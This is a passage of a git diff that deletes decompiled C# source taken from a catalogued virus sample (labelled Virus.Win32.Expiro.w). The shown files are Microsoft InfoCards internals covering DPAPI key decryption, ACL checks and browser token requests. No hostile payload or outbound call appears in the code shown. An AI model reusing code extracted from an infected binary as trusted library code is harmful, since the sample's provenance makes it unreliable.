dataBlob3.cbData; - this.m_encryptedKey = new byte[dataBlob3.cbData]; - for (int index = 0; index < dataBlob3.cbData; ++index) - this.m_encryptedKey[index] = *(byte*) ((IntPtr) dataBlob3.pbData.ToPointer() + index); - } - using (new SystemIdentity(true)) - { - if (!NativeMethods.CryptUnprotectData(new IntPtr((void*) &dataBlob3), (StringBuilder) null, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, 1, new IntPtr((void*) &dataBlob2))) - throw InfoCardTrace.ThrowHelperError((Exception) new Win32Exception(Marshal.GetLastWin32Error(), SR.GetString("StoreCryptUnprotectDataAsSystemFailed"))); - } - if (!NativeMethods.CryptUnprotectData(new IntPtr((void*) &dataBlob2), (StringBuilder) null, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, 1, new IntPtr((void*) &dataBlob1))) - throw InfoCardTrace.ThrowHelperError((Exception) new Win32Exception(Marshal.GetLastWin32Error(), SR.GetString("StoreCryptUnprotectDataFailed"))); - InfoCardTrace.Assert(dataBlob1.cbData == 32 + HashUtility.HashBufferLength, "The data size returned by CryptUnprotectData is invalid or corrupt."); - dataKeyFromDpapi = new byte[32]; - Marshal.Copy(dataBlob1.pbData, dataKeyFromDpapi, 0, 32); - byte[] data = new byte[HashUtility.HashBufferLength]; - HashUtility.SetHashValue(data, 0, dataKeyFromDpapi, 0, 32); - for (int index = 0; index < data.Length; ++index) - { - if ((int) data[index] != (int) *(byte*) ((IntPtr) dataBlob1.pbData.ToPointer() + (32 + index))) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidOperationException(SR.GetString("StoreDecryptedKeyIsNotValid"))); - } - return dataKeyFromDpapi; - } - catch - { - if (dataKeyFromDpapi != null) - Array.Clear((Array) dataKeyFromDpapi, 0, dataKeyFromDpapi.Length); - throw; - } - finally - { - if (gcHandle.IsAllocated) - gcHandle.Free(); - if (IntPtr.Zero != dataBlob2.pbData) - { - Utility.ClearUnsafeMemory(dataBlob2.pbData, dataBlob2.cbData); - NativeMethods.LocalFree(dataBlob2.pbData); - } - if (IntPtr.Zero != dataBlob1.pbData) - { - Utility.ClearUnsafeMemory(dataBlob1.pbData, dataBlob1.cbData); - NativeMethods.LocalFree(dataBlob1.pbData); - } - } - } - } - - private bool LogIfAclsTampered(FileSystemInfo fileSysInfo) - { - bool condition = true; - try - { - FileSystemSecurity accessControl; - if (fileSysInfo is DirectoryInfo) - { - accessControl = (FileSystemSecurity) ((DirectoryInfo) fileSysInfo).GetAccessControl(AccessControlSections.Access | AccessControlSections.Owner); - } - else - { - InfoCardTrace.Assert(fileSysInfo is FileInfo, "Only fileinfo possible"); - accessControl = (FileSystemSecurity) ((FileInfo) fileSysInfo).GetAccessControl(AccessControlSections.Access | AccessControlSections.Owner); - } - condition = this.LogIfAclsTamperedHelper(accessControl); - } - catch (UnauthorizedAccessException ex) - { - InfoCardTrace.Assert(condition, "ACL must have been tampered with"); - } - if (condition) - InfoCardTrace.TraceAndLogException((Exception) new DataAccessException(SR.GetString("StoreAclsTamperedWith"))); - return condition; - } - - private bool LogIfAclsTamperedHelper(FileSystemSecurity fs) - { - if (SystemIdentity.LsaIdentityReference != fs.GetOwner(typeof (SecurityIdentifier))) - return true; - AuthorizationRuleCollection accessRules = fs.GetAccessRules(true, true, typeof (SecurityIdentifier)); - bool flag = fs is DirectorySecurity; - foreach (FileSystemAccessRule systemAccessRule in (ReadOnlyCollectionBase) accessRules) - { - if ((!(SystemIdentity.LsaIdentityReference == systemAccessRule.IdentityReference) || FileSystemRights.FullControl != systemAccessRule.FileSystemRights || systemAccessRule.AccessControlType != AccessControlType.Allow) && (!flag || !((IdentityReference) FileDataSource.AdministratorSid == systemAccessRule.IdentityReference) || systemAccessRule.AccessControlType != AccessControlType.Allow || (FileSystemRights.ReadData | FileSystemRights.DeleteSubdirectoriesAndFiles | FileSystemRights.Synchronize) != systemAccessRule.FileSystemRights)) - return true; - } - return false; - } - - private static T CreateSecurityDescriptor() where T : FileSystemSecurity, new() - { - T securityDescriptor = new T(); - securityDescriptor.SetOwner(SystemIdentity.LsaIdentityReference); - foreach (FileSystemAccessRule accessRule in (ReadOnlyCollectionBase) securityDescriptor.GetAccessRules(true, true, typeof (SecurityIdentifier))) - securityDescriptor.RemoveAccessRuleAll(accessRule); - securityDescriptor.AddAccessRule(new FileSystemAccessRule(SystemIdentity.LsaIdentityReference, FileSystemRights.FullControl, InheritanceFlags.None, PropagationFlags.None, AccessControlType.Allow)); - if ((object) securityDescriptor is DirectorySecurity) - securityDescriptor.AddAccessRule(new FileSystemAccessRule((IdentityReference) FileDataSource.AdministratorSid, FileSystemRights.ReadData | FileSystemRights.DeleteSubdirectoriesAndFiles, AccessControlType.Allow)); - securityDescriptor.SetAccessRuleProtection(true, false); - return securityDescriptor; - } - - private void SetupProvider() => this.m_provider = SafeRsaProviderHandle.Construct(); - - private byte[] AllocateIvBuffer() - { - InfoCardTrace.Assert(16 == this.m_encAlg.IV.Length, "Must be equal"); - InfoCardTrace.Assert(16 == this.m_encAlg.IV.Length, "Must be equal"); - return new byte[this.m_encAlg.IV.Length]; - } - - private static void ResilientDelete(FileInfo toDelete) - { - int millisecondsTimeout = 10; - bool flag = true; - Exception inner = (Exception) null; - do - { - if (!flag) - { - Thread.Sleep(millisecondsTimeout); - millisecondsTimeout *= 2; - } - try - { - toDelete.Delete(); - flag = true; - } - catch (IOException ex) - { - inner = (Exception) ex; - flag = false; - } - } - while (!flag && millisecondsTimeout <= 500); - if (!flag) - throw InfoCardTrace.ThrowHelperError((Exception) new DataAccessException(SR.GetString("StoreFileInUse"), inner)); - } - - private static void ResilientMove(FileInfo fileFrom, FileInfo fileTo) - { - int millisecondsTimeout = 10; - bool flag = true; - do - { - if (!flag) - { - Thread.Sleep(millisecondsTimeout); - millisecondsTimeout *= 2; - } - try - { - fileFrom.MoveTo(fileTo.FullName); - flag = true; - } - catch (IOException ex) - { - flag = false; - } - } - while (!flag && millisecondsTimeout <= 500); - if (flag) - return; - InfoCardTrace.FailFast(SR.GetString("StoreFileInUse")); - } - - private static FileStream ResilientOpen( - FileInfo toOpen, - FileMode mode, - FileAccess access) - { - int millisecondsTimeout = 10; - bool flag = true; - Exception inner = (Exception) null; - FileStream fileStream = (FileStream) null; - do - { - if (!flag) - { - Thread.Sleep(millisecondsTimeout); - millisecondsTimeout *= 2; - } - try - { - fileStream = toOpen.Open(mode, access, FileShare.None); - flag = true; - } - catch (IOException ex) - { - inner = (Exception) ex; - flag = false; - } - } - while (!flag && millisecondsTimeout <= 500); - if (!flag) - throw InfoCardTrace.ThrowHelperError((Exception) new DataAccessException(SR.GetString("StoreFileInUse"), inner)); - return fileStream; - } - - internal static SymmetricAlgorithm CreateEncryptionAlg() - { - RijndaelManaged encryptionAlg = new RijndaelManaged(); - encryptionAlg.Mode = CipherMode.CBC; - encryptionAlg.KeySize = 256; - encryptionAlg.BlockSize = 128; - return (SymmetricAlgorithm) encryptionAlg; - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/FreeIndexList.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/FreeIndexList.cs deleted file mode 100644 index c95bd755..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/FreeIndexList.cs +++ /dev/null @@ -1,43 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.FreeIndexList -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections.Generic; - -namespace Microsoft.InfoCards -{ - internal class FreeIndexList - { - private Dictionary m_list; - - public FreeIndexList(int size) => this.m_list = size > 0 ? new Dictionary(size) : throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentOutOfRangeException(nameof (size), (object) size, SR.GetString("StoreFreeListSizeOutOfRange"))); - - public bool Contains(int value) => value > 0 ? this.m_list.ContainsKey(value) : throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentOutOfRangeException(nameof (value), (object) value, SR.GetString("StoreFreeListValueOutOfRange"))); - - public void Put(int value) - { - if (value <= 0) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentOutOfRangeException(nameof (value), (object) value, SR.GetString("StoreFreeListValueOutOfRange"))); - this.m_list.Add(value, value); - } - - public int GetNext() - { - int key = -1; - if (this.m_list.Count > 0) - { - using (IEnumerator enumerator = (IEnumerator) this.m_list.Keys.GetEnumerator()) - { - enumerator.MoveNext(); - key = enumerator.Current; - } - this.m_list.Remove(key); - } - return key; - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/GenerateDerivedKeyRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/GenerateDerivedKeyRequest.cs deleted file mode 100644 index dea47e75..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/GenerateDerivedKeyRequest.cs +++ /dev/null @@ -1,58 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.GenerateDerivedKeyRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using System; -using System.Diagnostics; -using System.IO; -using System.Security.Principal; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal class GenerateDerivedKeyRequest : ClientRequest - { - private int m_sessionId; - private byte[] m_label; - private byte[] m_nonce; - private int m_derivedKeyLength; - private int m_offset; - private string m_derivationAlgUri; - private byte[] m_key; - - public GenerateDerivedKeyRequest( - Process callingProcess, - WindowsIdentity callingIdentity, - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs) - : base(callingProcess, callingIdentity, rpcHandle, inArgs, outArgs) - { - this.m_key = (byte[]) null; - } - - protected override void OnMarshalInArgs() - { - BinaryReader reader = (BinaryReader) new InfoCardBinaryReader(this.InArgs, Encoding.Unicode); - this.m_sessionId = reader.ReadInt32(); - int count1 = reader.ReadInt32(); - this.m_label = reader.ReadBytes(count1); - int count2 = reader.ReadInt32(); - this.m_nonce = reader.ReadBytes(count2); - this.m_derivedKeyLength = reader.ReadInt32(); - this.m_offset = reader.ReadInt32(); - this.m_derivationAlgUri = Utility.DeserializeString(reader); - } - - protected override void OnProcess() => this.m_key = ((SymmetricCryptoSession) CryptoSession.Find(this.m_sessionId, this.CallerPid, this.RequestorIdentity.User)).GenerateDerivedKey(this.m_derivationAlgUri, this.m_label, this.m_nonce, this.m_derivedKeyLength, this.m_offset); - - protected override void OnMarshalOutArgs() - { - BinaryWriter binaryWriter = new BinaryWriter(this.OutArgs, Encoding.Unicode); - binaryWriter.Write(this.m_key.Length); - binaryWriter.Write(this.m_key); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/GetBrowserTokenEndpoint.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/GetBrowserTokenEndpoint.cs deleted file mode 100644 index 93b46064..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/GetBrowserTokenEndpoint.cs +++ /dev/null @@ -1,90 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.GetBrowserTokenEndpoint -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using System; -using System.IO; -using System.Security.Cryptography.X509Certificates; -using System.ServiceModel; -using System.ServiceModel.Channels; -using System.Text; -using System.Xml; - -namespace Microsoft.InfoCards -{ - internal class GetBrowserTokenEndpoint - { - private Uri m_address; - private Uri m_policyAddress; - private X509Certificate2Collection m_supportingCertsCollection = new X509Certificate2Collection(); - private X509Certificate2 m_leafCert; - - public Uri Address => this.m_address; - - public Uri PolicyUrl => this.m_policyAddress; - - public X509Certificate2Collection SupportingCertificates => this.m_supportingCertsCollection; - - public X509Certificate2 LeafCertificate => this.m_leafCert; - - public EndpointAddress CreateEndpointAddress() - { - if (!((Uri) null != this.m_address)) - return (EndpointAddress) null; - return this.LeafCertificate != null ? new EndpointAddress(this.m_address, EndpointIdentity.CreateX509CertificateIdentity(this.LeafCertificate, this.SupportingCertificates), new AddressHeader[0]) : new EndpointAddress(this.m_address, new AddressHeader[0]); - } - - public XmlElement CreateEndpointAddressXml() - { - if ((Uri) null != this.m_address) - { - EndpointAddress endpointAddress = this.LeafCertificate == null ? new EndpointAddress(this.m_address, new AddressHeader[0]) : new EndpointAddress(this.m_address, EndpointIdentity.CreateX509CertificateIdentity(this.LeafCertificate, this.SupportingCertificates), new AddressHeader[0]); - if ((EndpointAddress) null != endpointAddress) - { - using (MemoryStream memoryStream = new MemoryStream()) - { - using (XmlWriter writer = (XmlWriter) new XmlTextWriter((Stream) memoryStream, Encoding.UTF8)) - { - endpointAddress.WriteTo(AddressingVersion.WSAddressing10, writer); - writer.Flush(); - memoryStream.Flush(); - memoryStream.Seek(0L, SeekOrigin.Begin); - using (XmlReader readerWithQuotas = (XmlReader) Utility.CreateReaderWithQuotas((Stream) memoryStream)) - return (XmlElement) new XmlDocument().ReadNode(readerWithQuotas); - } - } - } - } - return (XmlElement) null; - } - - public void Load(BinaryReader reader, int paramVersion) - { - string uriString1 = Utility.DeserializeString(reader); - if (!string.IsNullOrEmpty(uriString1)) - this.m_address = new Uri(uriString1); - string uriString2 = Utility.DeserializeString(reader); - if (!string.IsNullOrEmpty(uriString2)) - this.m_policyAddress = new Uri(uriString2); - int num = 0; - if (2 == paramVersion) - num = reader.ReadInt32(); - else if (1 == paramVersion) - num = 1; - for (int index = 0; index < num; ++index) - { - byte[] numArray = reader.ReadBytes(reader.ReadInt32()); - if (!Utility.ArrayIsNullOrEmpty((Array) numArray)) - { - X509Certificate2 certificate = new X509Certificate2(numArray); - if (index == 0) - this.m_leafCert = certificate; - else - this.m_supportingCertsCollection.Add(certificate); - } - } - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/GetBrowserTokenParameters.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/GetBrowserTokenParameters.cs deleted file mode 100644 index 433f4cef..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/GetBrowserTokenParameters.cs +++ /dev/null @@ -1,110 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.GetBrowserTokenParameters -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using System; -using System.Collections.Generic; -using System.Collections.ObjectModel; -using System.IdentityModel.Selectors; -using System.IdentityModel.Tokens; -using System.IO; -using System.ServiceModel.Security; -using System.ServiceModel.Security.Tokens; -using System.Xml; - -namespace Microsoft.InfoCards -{ - internal class GetBrowserTokenParameters - { - private GetBrowserTokenEndpoint m_recipient; - private GetBrowserTokenEndpoint m_issuer; - private Uri m_tokenType; - private List m_requiredClaims; - private List m_optionalClaims; - private int m_flags; - private uint m_privacyVersion; - private Uri m_privacyUrl; - - public GetBrowserTokenParameters() - { - this.m_recipient = new GetBrowserTokenEndpoint(); - this.m_issuer = new GetBrowserTokenEndpoint(); - this.m_requiredClaims = new List(); - this.m_optionalClaims = new List(); - } - - public GetBrowserTokenEndpoint Recipient => this.m_recipient; - - public GetBrowserTokenEndpoint Issuer => this.m_issuer; - - public IList RequiredClaims => (IList) this.m_requiredClaims.AsReadOnly(); - - public IList OptionalClaims => (IList) this.m_optionalClaims.AsReadOnly(); - - public Uri PrivacyUrl => this.m_privacyUrl; - - public uint PrivacyVersion => this.m_privacyVersion; - - public void Load(BinaryReader reader, int paramVersion) - { - this.m_flags = paramVersion; - this.m_recipient.Load(reader, paramVersion); - this.m_issuer.Load(reader, paramVersion); - string uriString1 = Utility.DeserializeString(reader); - if (!string.IsNullOrEmpty(uriString1)) - this.m_tokenType = new Uri(uriString1); - int num1 = reader.ReadInt32(); - for (int index = 0; index < num1; ++index) - this.m_requiredClaims.Add(Utility.DeserializeString(reader)); - int num2 = reader.ReadInt32(); - for (int index = 0; index < num2; ++index) - this.m_optionalClaims.Add(Utility.DeserializeString(reader)); - this.m_privacyVersion = reader.ReadUInt32(); - string uriString2 = Utility.DeserializeString(reader); - if (!string.IsNullOrEmpty(uriString2)) - this.m_privacyUrl = new Uri(uriString2); - else - this.m_privacyUrl = (Uri) null; - } - - public CardSpacePolicyElement CreatePolicyElement( - ProtocolProfile protocolProfile) - { - XmlDocument document = new XmlDocument(); - XmlElement element = document.CreateElement(protocolProfile.WSTrust.DefaultPrefix, protocolProfile.WSTrust.ClaimsElement, protocolProfile.WSTrust.Namespace); - foreach (string requiredClaim in (IEnumerable) this.RequiredClaims) - element.AppendChild((XmlNode) GetBrowserTokenParameters.CreateClaimElement(document, requiredClaim, false)); - foreach (string optionalClaim in (IEnumerable) this.OptionalClaims) - element.AppendChild((XmlNode) GetBrowserTokenParameters.CreateClaimElement(document, optionalClaim, true)); - IssuedSecurityTokenParameters securityTokenParameters = new IssuedSecurityTokenParameters(); - if ((Uri) null != this.m_tokenType) - securityTokenParameters.TokenType = this.m_tokenType.ToString(); - securityTokenParameters.AdditionalRequestParameters.Add(element); - Collection requestParameters = securityTokenParameters.CreateRequestParameters(protocolProfile.MsgSecurityVersion, (SecurityTokenSerializer) new WSSecurityTokenSerializer(protocolProfile.MsgSecurityVersion.SecurityVersion, true, (SamlSerializer) null, (SecurityStateEncoder) null, (IEnumerable) null)); - foreach (XmlElement xmlElement in requestParameters) - { - if (StringComparer.Ordinal.Equals(xmlElement.LocalName, protocolProfile.WSTrust.KeyType) && StringComparer.Ordinal.Equals(xmlElement.NamespaceURI, protocolProfile.WSTrust.Namespace)) - { - xmlElement.RemoveAll(); - xmlElement.AppendChild((XmlNode) xmlElement.OwnerDocument.CreateTextNode(protocolProfile.WSTrust.KeyTypeBearer.OriginalString)); - break; - } - } - return new CardSpacePolicyElement(this.m_recipient != null ? this.m_recipient.CreateEndpointAddressXml() : (XmlElement) null, this.m_issuer != null ? this.m_issuer.CreateEndpointAddressXml() : (XmlElement) null, requestParameters, this.m_privacyUrl, Convert.ToInt32(this.m_privacyVersion), false); - } - - private static XmlElement CreateClaimElement( - XmlDocument document, - string claimUri, - bool optional) - { - XmlElement element = document.CreateElement("wsid", "ClaimType", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - element.SetAttribute("Uri", claimUri); - if (optional) - element.SetAttribute("Optional", "true"); - return element; - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/GetBrowserTokenRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/GetBrowserTokenRequest.cs deleted file mode 100644 index 0dc77207..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/GetBrowserTokenRequest.cs +++ /dev/null @@ -1,609 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.GetBrowserTokenRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections.Generic; -using System.Collections.ObjectModel; -using System.Diagnostics; -using System.Globalization; -using System.IdentityModel.Policy; -using System.IdentityModel.Selectors; -using System.IdentityModel.Tokens; -using System.IO; -using System.Net; -using System.Net.Security; -using System.Security.Cryptography.X509Certificates; -using System.Security.Principal; -using System.ServiceModel; -using System.ServiceModel.Channels; -using System.ServiceModel.Description; -using System.ServiceModel.Dispatcher; -using System.ServiceModel.Security; -using System.ServiceModel.Security.Tokens; -using System.Text; -using System.Xml; - -namespace Microsoft.InfoCards -{ - internal class GetBrowserTokenRequest : GetTokenRequest - { - public const int POLICY_V1 = 1; - public const int POLICY_V2 = 2; - private GetBrowserTokenParameters m_params; - private ServiceEndpoint m_svcEpr; - private byte[] m_rawToken; - private SelfIssuedAuthProofToken m_proofToken; - private ProtocolProfile m_protocolProfile; - - public GetBrowserTokenRequest( - Process callingProcess, - WindowsIdentity callingIdentity, - InfoCardUIAgent uiAgent, - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs) - : base(callingProcess, callingIdentity, uiAgent, rpcHandle, inArgs, outArgs) - { - this.m_protocolProfile = new ProtocolProfile(); - } - - private static bool IsReferralToManagedIssuer(Binding issuerBinding) - { - bool managedIssuer = false; - if (issuerBinding != null && issuerBinding.CreateBindingElements().Find() != null) - managedIssuer = true; - return managedIssuer; - } - - protected override void OnMarshalInArgs() - { - BinaryReader reader = (BinaryReader) new InfoCardBinaryReader(this.InArgs, Encoding.Unicode); - try - { - this.m_params = new GetBrowserTokenParameters(); - int paramVersion = reader.ReadInt32(); - if (1 != paramVersion && 2 != paramVersion) - throw InfoCardTrace.ThrowHelperError((Exception) new InfoCardArgumentException(SR.GetString("InvalidFlagsSpecified"))); - this.m_params.Load(reader, paramVersion); - if ((Uri) null == this.m_params.Issuer.PolicyUrl) - { - this.CreateInfoCardPolicyFromBrowserParams(); - } - else - { - if (Utility.CompareUri(XmlNames.WSIdentity.SelfIssuerUriValue, this.m_params.Issuer.Address) || Utility.CompareUri(XmlNames.WSIdentity.AnonymousIssuerUriValue, this.m_params.Issuer.Address)) - throw InfoCardTrace.ThrowHelperError((Exception) new InfoCardArgumentException(SR.GetString("SelfOrAnonIssuerNotAllowedWhenMexSpecified", (object) this.m_params.Issuer.Address))); - if ((Uri) null == this.m_params.Issuer.Address) - throw InfoCardTrace.ThrowHelperError((Exception) new InfoCardArgumentException(SR.GetString("NoIssuerSpecifiedWhenMexIsSpecified"))); - ServiceEndpointCollection endpointCollection; - try - { - endpointCollection = this.GetServiceEndpointCollection(this.m_params.Issuer.Address, this.m_params.Issuer.PolicyUrl); - } - catch (Exception ex) - { - if (InfoCardTrace.IsFatal(ex)) - throw; - else - endpointCollection = (ServiceEndpointCollection) null; - } - if (endpointCollection != null && endpointCollection.Find(this.m_params.Issuer.Address) != null) - { - ServiceEndpoint serviceEndpoint = endpointCollection.Find(this.m_params.Issuer.Address); - if (!GetBrowserTokenRequest.IsReferralToManagedIssuer(serviceEndpoint.Binding) && this.DoesEndpointSatisfySecurityRequirements(serviceEndpoint) && this.DoesEndpointSatisfyIssuedTokenRequirements(serviceEndpoint)) - { - if (Uri.UriSchemeHttps != this.m_params.Recipient.Address.Scheme) - throw InfoCardTrace.ThrowHelperError((Exception) new InfoCardArgumentException(SR.GetString("RPStsWithNoSSLFailure"))); - this.m_svcEpr = serviceEndpoint; - SecurityBindingElement securityBindingElement = serviceEndpoint.Binding.CreateBindingElements().Find(); - InfoCardTrace.Assert(null != securityBindingElement, "No SecurityBindingElement was found in the BindingElementCollection"); - if (TrustVersion.WSTrust13 == securityBindingElement.MessageSecurityVersion.TrustVersion) - this.m_protocolProfile.WSTrust = (XmlNames.IWSTrust) XmlNames.WSTrustOasis2007.Instance; - } - } - this.CreateInfoCardPolicyFromBrowserParams(); - } - } - catch (InfoCardBaseException ex) - { - throw; - } - catch (Exception ex) - { - if (!InfoCardTrace.IsFatal(ex)) - throw InfoCardTrace.ThrowHelperError((Exception) new InfoCardArgumentException(SR.GetString("ServiceInvalidArguments"), ex)); - throw; - } - } - - private void CreateInfoCardPolicyFromBrowserParams() - { - CardSpacePolicyElement policyElement = this.m_params.CreatePolicyElement(this.m_protocolProfile); - InfoCardPolicy browserTokenRequest = PolicyFactory.CreatePolicyForGetBrowserTokenRequest(policyElement, policyElement.PolicyNoticeLink, (uint) policyElement.PolicyNoticeVersion, RecipientIdentity.CreateIdentity(this.m_params.Recipient.CreateEndpointAddress(), true), PolicyUsageContext.Browser); - browserTokenRequest.Validate(); - this.Policy = browserTokenRequest; - } - - private bool DoesEndpointSatisfyIssuedTokenRequirements(ServiceEndpoint serviceEndpoint) - { - if (serviceEndpoint != null) - { - bool disallowedStpDetected = false; - if (GetBrowserTokenRequest.TryGetNextStsIssuedTokenParameters(serviceEndpoint.Binding.CreateBindingElements(), ref disallowedStpDetected) != null) - return true; - } - return false; - } - - private bool DoesEndpointSatisfySecurityRequirements(ServiceEndpoint serviceEndpoint) - { - if (serviceEndpoint != null) - { - ISecurityCapabilities property = serviceEndpoint.Binding.GetProperty(new BindingParameterCollection()); - if (property != null && property.SupportedRequestProtectionLevel == ProtectionLevel.EncryptAndSign && property.SupportedResponseProtectionLevel == ProtectionLevel.EncryptAndSign && property.SupportsClientAuthentication && property.SupportsServerAuthentication) - return true; - } - return false; - } - - protected override void OnMarshalOutArgs() - { - BinaryWriter binaryWriter = new BinaryWriter(this.OutArgs, Encoding.Unicode); - try - { - try - { - binaryWriter.Write(this.m_rawToken.Length); - binaryWriter.Write(this.m_rawToken, 0, this.m_rawToken.Length); - } - finally - { - Array.Clear((Array) this.m_rawToken, 0, this.m_rawToken.Length); - } - } - catch (Exception ex) - { - if (!InfoCardTrace.IsFatal(ex)) - throw InfoCardTrace.ThrowHelperError((Exception) new TrustExchangeException(SR.GetString("ServiceFailedToWriteToken"), ex)); - throw; - } - } - - protected override void OnProcess() - { - try - { - if (this.m_svcEpr == null) - { - base.OnProcess(); - if (this.ProcessingException != null) - throw InfoCardTrace.ThrowHelperError(this.ProcessingException); - using (MemoryStream output = new MemoryStream()) - { - using (XmlWriter w = XmlWriter.Create((Stream) output, new XmlWriterSettings() - { - CloseOutput = false, - Encoding = Encoding.UTF8, - OmitXmlDeclaration = true - })) - this.Token.ProtectedToken.WriteTo(w); - this.m_rawToken = new byte[output.Length - 3L]; - Array.Copy((Array) output.GetBuffer(), 3, (Array) this.m_rawToken, 0, Convert.ToInt32(output.Length - 3L)); - } - } - else - { - GetBrowserTokenRequest.CreateIssuedTokenClientCredentials clientCredentials = this.CreateClientCredentials(this.m_svcEpr); - clientCredentials.Windows.AllowNtlm = false; - Binding binding = GetBrowserTokenRequest.FedChainUpdateProxyAndRestrictTransportBindingWrapper(this.m_svcEpr.Binding, this.UserProxy); - using (ChannelFactory channelFactory = new ChannelFactory(binding, this.m_svcEpr.Address)) - { - channelFactory.Endpoint.Binding.OpenTimeout = new TimeSpan(5, 0, 0); - channelFactory.Endpoint.Binding.SendTimeout = new TimeSpan(5, 0, 0); - channelFactory.Endpoint.Binding.ReceiveTimeout = new TimeSpan(5, 0, 0); - channelFactory.Endpoint.Binding.CloseTimeout = new TimeSpan(5, 0, 0); - channelFactory.Endpoint.Behaviors.Remove(); - channelFactory.Endpoint.Behaviors.Add((IEndpointBehavior) clientCredentials); - InfoCardTrace.Assert(!channelFactory.Credentials.Windows.AllowNtlm, "Should be false"); - GetBrowserTokenRequest.ISts sts = channelFactory.CreateChannel(); - if (this.Policy == null) - this.CreateInfoCardPolicyFromBrowserParams(); - Message rstMsg = Message.CreateMessage(this.m_svcEpr.Binding.MessageVersion, this.m_protocolProfile.WSTrust.RequestSecurityTokenAction, (BodyWriter) new RequestSecurityTokenForGetBrowserToken(new RequestSecurityTokenParameters(this.m_svcEpr.Binding.MessageVersion.Addressing, this.m_params, this.m_protocolProfile, this.Policy, true))); - Message rstrMsg = (Message) null; - if 